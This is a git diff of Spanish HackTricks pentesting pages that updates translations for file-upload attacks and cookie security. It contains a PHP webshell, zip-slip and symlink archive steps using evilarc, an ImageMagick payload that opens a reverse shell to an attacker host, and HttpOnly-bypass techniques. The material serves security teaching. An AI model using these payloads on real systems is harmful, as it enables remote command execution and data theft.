|
||||
* Si puedes **indicar al servidor web que capture una imagen desde una URL**, podrías intentar abusar de una [SSRF](../ssrf-server-side-request-forgery/). Si esta **imagen** va a ser **guardada** en algún sitio **público**, también podrías indicar una URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) y **robar información de cada visitante**.
|
||||
* [**XXE en carga de svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
* [**Open Redirect** mediante la carga de archivos svg](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
* Pruebe **diferentes payloads de svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)****
|
||||
* [Vulnerabilidad **ImageTrick** famosa](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
* Si puede **indicar al servidor web que capture una imagen de una URL**, podría intentar abusar de un [SSRF](../ssrf-server-side-request-forgery/). Si esta **imagen** va a ser **guardada** en algún sitio **público**, también podría indicar una URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) y **robar información de cada visitante**.
|
||||
* [**XXE y CORS** bypass con carga de PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
|
||||
* PDF especialmente diseñados para XSS: La [siguiente página muestra cómo **inyectar datos PDF para obtener ejecución de JS**](../xss-cross-site-scripting/pdf-injection.md). Si puedes cargar PDF, puedes preparar un PDF que ejecute JS arbitrario siguiendo las indicaciones proporcionadas.
|
||||
* Carga el contenido de \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) para comprobar si el servidor tiene algún **antivirus**
|
||||
* Comprueba si hay algún **límite de tamaño** para cargar archivos
|
||||
* PDFs especialmente diseñados para XSS: La [siguiente página presenta cómo **inyectar datos en PDF para obtener ejecución de JS**](../xss-cross-site-scripting/pdf-injection.md). Si puede cargar PDFs, podría preparar algunos PDF que ejecutarán JS arbitrario siguiendo las indicaciones dadas.
|
||||
* Cargue el contenido de \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) para verificar si el servidor tiene algún **antivirus**
|
||||
* Verifique si hay algún **límite de tamaño** al cargar archivos
|
||||
|
||||
Aquí tienes una lista de los 10 principales logros que puedes obtener mediante la carga de archivos (de [enlace](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
Aquí hay una lista de las 10 principales cosas que puede lograr mediante la carga (de [enlace](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||||
2. **SVG**: XSS almacenado / SSRF / XXE
|
||||
|
@ -209,48 +211,48 @@ Aquí tienes una lista de los 10 principales logros que puedes obtener mediante
|
|||
4. **CSV**: Inyección de CSV
|
||||
5. **XML**: XXE
|
||||
6. **AVI**: LFI / SSRF
|
||||
7. **HTML / JS** : Inyección de HTML / XSS / Redirección abierta
|
||||
7. **HTML / JS**: Inyección de HTML / XSS / Redirección abierta
|
||||
8. **PNG / JPEG**: Ataque de inundación de píxeles (DoS)
|
||||
9. **ZIP**: RCE a través de LFI / DoS
|
||||
10. **PDF / PPTX**: SSRF / XXE Ciego
|
||||
9. **ZIP**: RCE vía LFI / DoS
|
||||
10. **PDF / PPTX**: SSRF / XXE ciego
|
||||
|
||||
#### Extensión de Burp
|
||||
|
||||
{% embed url="https://github.com/portswigger/upload-scanner" %}
|
||||
|
||||
## Bytes mágicos de encabezado
|
||||
## Bytes de Encabezado Mágico
|
||||
|
||||
* **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
|
||||
* **JPG**: `"\xff\xd8\xff"`
|
||||
|
||||
Consulta [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) para obtener otros tipos de archivos.
|
||||
Consulte [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) para otros tipos de archivos.
|
||||
|
||||
### Carga automática de archivos Zip/Tar descomprimidos
|
||||
### Carga de Archivos Zip/Tar Descomprimidos Automáticamente
|
||||
|
||||
Si puedes cargar un archivo ZIP que se va a descomprimir en el servidor, puedes hacer 2 cosas:
|
||||
Si puede cargar un ZIP que va a ser descomprimido dentro del servidor, puede hacer 2 cosas:
|
||||
|
||||
#### Enlace simbólico
|
||||
#### Symlink
|
||||
|
||||
Carga un enlace que contenga enlaces simbólicos a otros archivos, luego, al acceder a los archivos descomprimidos, accederás a los archivos vinculados:
|
||||
Cargue un enlace que contenga enlaces simbólicos a otros archivos, luego, al acceder a los archivos descomprimidos, accederá a los archivos vinculados:
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### Descomprimir en diferentes carpetas
|
||||
### Descompresión en diferentes carpetas
|
||||
|
||||
Los archivos descomprimidos se crearán en carpetas inesperadas.
|
||||
|
||||
Uno podría asumir fácilmente que esta configuración protege contra la ejecución de comandos a nivel de sistema operativo a través de cargas de archivos maliciosos, pero desafortunadamente esto no es cierto. Dado que el formato de archivo ZIP admite compresión jerárquica y también podemos hacer referencia a directorios de niveles superiores, podemos escapar del directorio de carga seguro abusando de la función de descompresión de la aplicación objetivo.
|
||||
Uno podría asumir fácilmente que esta configuración protege contra la ejecución de comandos a nivel de sistema operativo a través de cargas de archivos maliciosos, pero lamentablemente esto no es cierto. Dado que el formato de archivo ZIP admite compresión jerárquica y también podemos hacer referencia a directorios de nivel superior, podemos escapar del directorio seguro de carga abusando de la función de descompresión de la aplicación objetivo.
|
||||
|
||||
Se puede encontrar un exploit automatizado para crear este tipo de archivos aquí: [**https://github.com/ptoomey3/evilarc**](https://github.com/ptoomey3/evilarc)
|
||||
Un exploit automatizado para crear este tipo de archivos se puede encontrar aquí: [**https://github.com/ptoomey3/evilarc**](https://github.com/ptoomey3/evilarc)
|
||||
```python
|
||||
python2 evilarc.py -h
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
También puedes usar el **truco del symlink con evilarc**, si la bandera está en `/flag.txt` asegúrate de crear un **symlink a ese archivo** y **crear ese archivo en tu sistema** para que cuando llames a evilarc no **genere un error**.
|
||||
También puedes usar el **truco de symlink con evilarc**, si la bandera está en `/flag.txt` asegúrate de crear un **symlink a ese archivo** y **crear ese archivo en tu sistema** para que cuando llames a evilarc **no dé error**.
|
||||
|
||||
Código en Python para crear un archivo zip malicioso:
|
||||
Algunas líneas de código en python para crear un zip malicioso:
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
import zipfile
|
||||
|
@ -270,7 +272,7 @@ create_zip()
|
|||
```
|
||||
Para lograr la ejecución remota de comandos, seguí los siguientes pasos:
|
||||
|
||||
1. Crear una shell en PHP:
|
||||
1. Crear un shell PHP:
|
||||
```php
|
||||
<?php
|
||||
if(isset($_REQUEST['cmd'])){
|
||||
|
@ -278,7 +280,7 @@ $cmd = ($_REQUEST['cmd']);
|
|||
system($cmd);
|
||||
}?>
|
||||
```
|
||||
1. Utiliza la técnica de "rociado de archivos" y crea un archivo zip comprimido:
|
||||
1. Utilice "file spraying" y cree un archivo zip comprimido:
|
||||
```
|
||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||
root@s2crew:/tmp# ls *.php
|
||||
|
@ -298,13 +300,15 @@ adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
|
|||
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
|
||||
root@s2crew:/tmp#
|
||||
```
|
||||
3. Utiliza un editor hexadecimal o vi y cambia "xxA" por "../", yo utilicé vi:
|
||||
3.Usa un editor hexadecimal o vi y cambia "xxA" por "../", yo usé vi:
|
||||
```
|
||||
:set modifiable
|
||||
:%s/xxA/..\//g
|
||||
:x!
|
||||
```
|
||||
¡Solo queda un paso! ¡Sube el archivo ZIP y deja que la aplicación lo descomprima! Si tiene éxito y el servidor web tiene suficientes privilegios para escribir en los directorios, habrá una simple ejecución de comandos del sistema operativo:
|
||||
¡Listo!
|
||||
|
||||
Solo quedaba un paso: ¡Subir el archivo ZIP y dejar que la aplicación lo descomprima! Si tiene éxito y el servidor web tiene suficientes privilegios para escribir en los directorios, habrá una simple shell de ejecución de comandos del sistema operativo en el sistema:
|
||||
|
||||
[![b1](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1-300x106.png)](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1.png)
|
||||
|
||||
|
@ -319,35 +323,37 @@ viewbox 0 0 640 480
|
|||
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
|
||||
pop graphic-context
|
||||
```
|
||||
## Incrustando una Shell de PHP en una imagen PNG
|
||||
## Incrustación de PHP Shell en PNG
|
||||
|
||||
La razón principal para poner una shell web en el chunk IDAT es que tiene la capacidad de evadir operaciones de redimensionamiento y re-muestreo: PHP-GD contiene dos funciones para hacer esto [imagecopyresized](http://php.net/manual/en/function.imagecopyresized.php) y [imagecopyresampled](http://php.net/manual/en/function.imagecopyresampled.php).
|
||||
La razón principal para poner un web shell en el chunk IDAT es que tiene la capacidad de evitar operaciones de cambio de tamaño y re-muestreo - PHP-GD contiene dos funciones para hacer esto [imagecopyresized](http://php.net/manual/en/function.imagecopyresized.php) y [imagecopyresampled](http://php.net/manual/en/function.imagecopyresampled.php).
|
||||
|
||||
Lee este artículo: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
Lee este post: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## Archivos Políglotos
|
||||
## Archivos Políglotas
|
||||
|
||||
Los políglotos, en un contexto de seguridad, son archivos que son una forma válida de múltiples tipos de archivos diferentes. Por ejemplo, un [GIFAR](https://en.wikipedia.org/wiki/Gifar) es tanto un archivo GIF como un archivo RAR. También existen archivos que pueden ser tanto GIF como JS, tanto PPT como JS, etc.
|
||||
Los políglotas, en un contexto de seguridad, son archivos que son una forma válida de múltiples tipos de archivos diferentes. Por ejemplo, un [GIFAR](https://en.wikipedia.org/wiki/Gifar) es tanto un archivo GIF como RAR. También hay archivos que pueden ser tanto GIF y JS, tanto PPT y JS, etc.
|
||||
|
||||
Los archivos políglotos se utilizan a menudo para evadir protecciones basadas en tipos de archivos. Muchas aplicaciones que permiten a los usuarios cargar archivos solo permiten cargar ciertos tipos, como JPEG, GIF, DOC, para evitar que los usuarios carguen archivos potencialmente peligrosos como archivos JS, archivos PHP o archivos Phar.
|
||||
Los archivos políglotas se utilizan a menudo para eludir la protección basada en tipos de archivos. Muchas aplicaciones que permiten a los usuarios subir archivos solo permiten subidas de ciertos tipos, como JPEG, GIF, DOC, para evitar que los usuarios suban archivos potencialmente peligrosos como archivos JS, archivos PHP o archivos Phar.
|
||||
|
||||
Esto ayuda a cargar un archivo que cumple con el formato de varios formatos diferentes. Puede permitirte cargar un archivo PHAR (PHp ARchive) que también parece ser un JPEG, pero probablemente aún necesitarás una extensión válida y si la función de carga no lo permite, esto no te ayudará.
|
||||
Esto ayuda a subir un archivo que cumple con el formato de varios formatos diferentes. Puede permitirte subir un archivo PHAR (PHp ARchive) que también parece un JPEG, pero probablemente todavía necesitarás una extensión válida y si la función de subida no lo permite, esto no te ayudará.
|
||||
|
||||
Más información en: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Consejo de recompensa por errores**: **regístrate** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comienza a ganar recompensas de hasta **$100,000**!
|
||||
**Consejo para cazar recompensas**: **regístrate** en **Intigriti**, una plataforma premium de caza de recompensas creada por hackers, para hackers. Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**.
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,19 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver a tu **empresa anunciada en HackTricks**? o ¿quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop).
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com).
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra vulnerabilidades que importan más para poder arreglarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en todo tu stack tecnológico, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
Encuentra vulnerabilidades que importan más para que puedas arreglarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en todo tu stack tecnológico, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -24,27 +26,27 @@ Encuentra vulnerabilidades que importan más para poder arreglarlas más rápido
|
|||
|
||||
### Expires & Max-Age
|
||||
|
||||
* `Expires` establece una fecha de caducidad para cuando se elimina una cookie.
|
||||
* `Max-age` establece el tiempo en segundos para cuando se eliminará una cookie **(usa esto, ya no estamos en 2009)**.
|
||||
* `Expires` establece una fecha de caducidad para cuando se elimina una cookie
|
||||
* `Max-age` establece el tiempo en segundos para cuando se eliminará una cookie **(usa esto, ya no estamos en 2009)**
|
||||
|
||||
### **Domain**
|
||||
|
||||
El atributo `Domain` especifica **qué hosts pueden recibir una cookie**. Si no se especifica, el atributo **toma por defecto** el **mismo host** que estableció la cookie, _**excluyendo subdominios**_. **Si se especifica `Domain`**, entonces **los subdominios siempre están incluidos**. Por lo tanto, especificar `Domain` es menos restrictivo que omitirlo. Sin embargo, puede ser útil cuando los subdominios necesitan compartir información sobre un usuario.
|
||||
El atributo `Domain` especifica **qué hosts pueden recibir una cookie**. Si no se especifica, el atributo **por defecto** es el **mismo host** que estableció la cookie, _**excluyendo subdominios**_. **Si se especifica `Domain`**, entonces **los subdominios siempre están incluidos**. Por lo tanto, especificar `Domain` es menos restrictivo que omitirlo. Sin embargo, puede ser útil cuando los subdominios necesitan compartir información sobre un usuario.
|
||||
|
||||
Por ejemplo, si estableces `Domain=mozilla.org`, las cookies están disponibles en subdominios como `developer.mozilla.org`. Pero si no lo haces, la cookie no se enviará a subdominios.
|
||||
|
||||
Si un **subdominio** `sub.example.com` **establece una cookie** con el atributo _domain_ de **`.example.com`**, se **enviará** en solicitudes al **dominio principal**.
|
||||
Si un **subdominio** `sub.example.com` **establece una cookie** con atributo _domain_ de **`.example.com`**, se **enviará** en solicitudes al **dominio principal.**
|
||||
|
||||
### **Path**
|
||||
|
||||
El atributo `Path` indica un **camino URL que debe existir en la URL solicitada para enviar el encabezado `Cookie`**. El carácter `%x2F` ("/") se considera un separador de directorios, y las subcarpetas también coinciden.
|
||||
El atributo `Path` indica un **camino URL que debe existir en la URL solicitada para enviar el encabezado `Cookie`**. El carácter `%x2F` ("/") se considera un separador de directorios, y los subdirectorios también coinciden.
|
||||
|
||||
#### Orden
|
||||
|
||||
Cuando 2 cookies tienen el **mismo nombre**, la que se envía es:
|
||||
|
||||
* La que tiene el **camino más largo** que coincide con el camino URL.
|
||||
* La **más nueva** si ambas tienen el mismo camino.
|
||||
* La que tiene el **camino más largo** que coincide con el camino URL
|
||||
* La **más nueva** si ambas tienen el mismo camino
|
||||
|
||||
### SameSite
|
||||
|
||||
|
@ -52,34 +54,35 @@ Esto indicará al navegador si la **cookie** puede ser enviada **desde otros dom
|
|||
|
||||
* **Strict**: La cookie no se enviará junto con una solicitud por sitios web de terceros.
|
||||
* **Lax**: La cookie se enviará junto con la solicitud GET iniciada por sitios web de terceros.
|
||||
* **None**: La cookie se envía desde cualquier dominio de terceros.
|
||||
* **None**: La cookie se envía desde cualquier dominio de terceros
|
||||
|
||||
| **Tipo de Solicitud** | **Código de Ejemplo** | **Cookies Enviadas Cuando** |
|
||||
| --------------------- | --------------------------------------- | --------------------------- |
|
||||
| Enlace | \<a href="...">\</a> | NotSet\*, Lax, None |
|
||||
| Precarga | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
|
||||
| Formulario GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
|
||||
| Formulario POST | \<form method="POST" action="..."> | NotSet\*, None |
|
||||
| Link | \<a href="...">\</a> | NotSet\*, Lax, None |
|
||||
| Prerender | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
|
||||
| Form GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
|
||||
| Form POST | \<form method="POST" action="..."> | NotSet\*, None |
|
||||
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
|
||||
| AJAX | $.get("...") | NotSet\*, None |
|
||||
| Imagen | \<img src="..."> | NetSet\*, None |
|
||||
|
||||
Tabla de [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) y ligeramente modificada.\
|
||||
Una cookie con el atributo _**SameSite**_ **mitigará ataques CSRF** donde se necesita una sesión iniciada.
|
||||
Una cookie con atributo _**SameSite**_ **mitigará ataques CSRF** donde se necesita una sesión iniciada.
|
||||
|
||||
**\*Nota que desde Chrome80 (feb/2019) el comportamiento por defecto de una cookie sin un atributo samesite** **será lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
Nota que temporalmente, después de aplicar este cambio, las **cookies sin una política SameSite** en Chrome serán **tratadas como None** durante los **primeros 2 minutos y luego como Lax para solicitudes POST de nivel superior entre sitios**.
|
||||
Nota que temporalmente, después de aplicar este cambio, las **cookies sin una política SameSite** en Chrome serán **tratadas como None** durante los **primeros 2 minutos y luego como Lax para solicitudes POST de nivel superior entre sitios.**
|
||||
|
||||
## Banderas de Cookies
|
||||
|
||||
### HttpOnly
|
||||
|
||||
Esto evita que el **cliente** acceda a la cookie (Por ejemplo, a través de **Javascript**: `document.cookie`)
|
||||
Esto evita que el **cliente** acceda a la cookie (Por ejemplo, mediante **Javascript**: `document.cookie`)
|
||||
|
||||
#### **Bypasses**
|
||||
|
||||
* Si la página está **enviando las cookies como respuesta** de una solicitud (por ejemplo, en una página **PHPinfo**), es posible abusar del XSS para enviar una solicitud a esta página y **robar las cookies** de la respuesta (ver un ejemplo en [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
|
||||
* Esto podría ser evitado con solicitudes **TRACE** **HTTP** ya que la respuesta del servidor (si este método HTTP está disponible) reflejará las cookies enviadas. Esta técnica se llama **Cross-Site Tracking**.
|
||||
* Esta técnica es evitada por **navegadores modernos al no permitir enviar una solicitud TRACE** desde JS. Sin embargo, se han encontrado bypasses a esto en software específico como enviar `\r\nTRACE` en lugar de `TRACE` a IE6.0 SP2.
|
||||
* Si la página está **enviando las cookies como respuesta** de una solicitud (por ejemplo, en una página **PHPinfo**), es posible abusar del XSS para enviar una solicitud a esta página y **robar las cookies** de la respuesta (consulta un ejemplo en [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
|
||||
* Esto podría ser evitado con solicitudes **HTTP TRACE** ya que la respuesta del servidor (si este método HTTP está disponible) reflejará las cookies enviadas. Esta técnica se llama **Cross-Site Tracking**.
|
||||
* Esta técnica es evitada por **navegadores modernos al no permitir enviar una solicitud TRACE** desde JS. Sin embargo, se han encontrado algunos bypasses a esto en software específico como enviar `\r\nTRACE` en lugar de `TRACE` a IE6.0 SP2.
|
||||
* Otra forma es la explotación de vulnerabilidades zero/day de los navegadores.
|
||||
* Es posible **sobrescribir cookies HttpOnly** realizando un ataque de desbordamiento de Cookie Jar:
|
||||
|
||||
|
@ -87,7 +90,7 @@ Esto evita que el **cliente** acceda a la cookie (Por ejemplo, a través de **Ja
|
|||
[cookie-jar-overflow.md](cookie-jar-overflow.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* Es posible utilizar el ataque de [**Cookie Smuggling**](./#cookie-smuggling) para exfiltrar estas cookies
|
||||
* Es posible usar el ataque de [**Cookie Smuggling**](./#cookie-smuggling) para exfiltrar estas cookies
|
||||
|
||||
### Secure
|
||||
|
||||
|
@ -95,9 +98,9 @@ La solicitud **solo** enviará la cookie en una solicitud HTTP si la solicitud s
|
|||
|
||||
## Prefijos de Cookies
|
||||
|
||||
**Prefijo `__Secure-`**: debe establecerse con la bandera `secure` desde una página segura (HTTPS).
|
||||
**`__Secure-` prefijo**: debe establecerse con la bandera `secure` desde una página segura (HTTPS).
|
||||
|
||||
**Prefijo `__Host-`**: debe establecerse con la bandera `secure`, debe ser de una página segura (HTTPS), no debe tener un dominio especificado (y por lo tanto, no se envían a subdominios), y el camino debe ser `/`.
|
||||
**`__Host-` prefijo**: debe establecerse con la bandera `secure`, debe ser de una página segura (HTTPS), no debe tener un dominio especificado (y por lo tanto, no se envían a subdominios), y el camino debe ser `/`.
|
||||
|
||||
Las cookies con prefijo `__Host-` no pueden enviarse a superdominios (cookies de subdominios a dominios) o subdominios (cookies de dominios a subdominios), por lo tanto, si quieres aislar las cookies de tu aplicación, prefijar todo con `__Host-` no es una mala idea.
|
||||
|
||||
|
@ -107,7 +110,7 @@ Si encuentras algún tipo de cookie personalizada que contenga datos sensibles (
|
|||
|
||||
### Decodificación de la cookie
|
||||
|
||||
Si la **cookie** está utilizando algún tipo de **codificación Base** (como Base64) o similar, podrías ser capaz de **decodificarla**, **cambiar** el **contenido** e **impersonar** usuarios arbitrarios.
|
||||
Si la **cookie** está utilizando algún **cifrado Base** (como Base64) o similar, podrías ser capaz de **decodificarla**, **cambiar** el **contenido** e **impersonar** usuarios arbitrarios.
|
||||
|
||||
### Secuestro de Sesión
|
||||
|
||||
|
@ -133,7 +136,7 @@ Si encontraste un **XSS en un subdominio** o **controlas un subdominio**, lee:
|
|||
[cookie-tossing.md](cookie-tossing.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### [Cookie JWT](../hacking-jwt-json-web-tokens.md)
|
||||
### [JWT Cookie](../hacking-jwt-json-web-tokens.md)
|
||||
|
||||
Haz clic en el enlace anterior para acceder a una página que explica posibles fallos en JWT.
|
||||
|
||||
|
@ -173,9 +176,9 @@ document.cookie
|
|||
```
|
||||
### Contrabando de Cookies
|
||||
|
||||
Varios servidores web, incluyendo servidores Java como Jetty, TomCat, Undertow, y el framework web de Python Zope, así como servidores/frameworks web de Python como cherrypy, web.py, aiohttp server, bottle y webob, se han encontrado con que **interpretan incorrectamente las cadenas de cookies** debido al soporte obsoleto para RFC2965, un mecanismo de citación de cookies anticuado que utiliza RFC2616 para la definición de una cadena citada.
|
||||
Varios servidores web, incluyendo servidores Java como Jetty, TomCat, Undertow, y el framework web de Python Zope, así como servidores/frameworks web de Python como cherrypy, web.py, aiohttp server, bottle y webob, se han encontrado con que **interpretan incorrectamente las cadenas de cookies** debido al soporte obsoleto para RFC2965, un mecanismo de citación de cookies anticuado que utiliza RFC2616 para la definición de una cadena entre comillas.
|
||||
|
||||
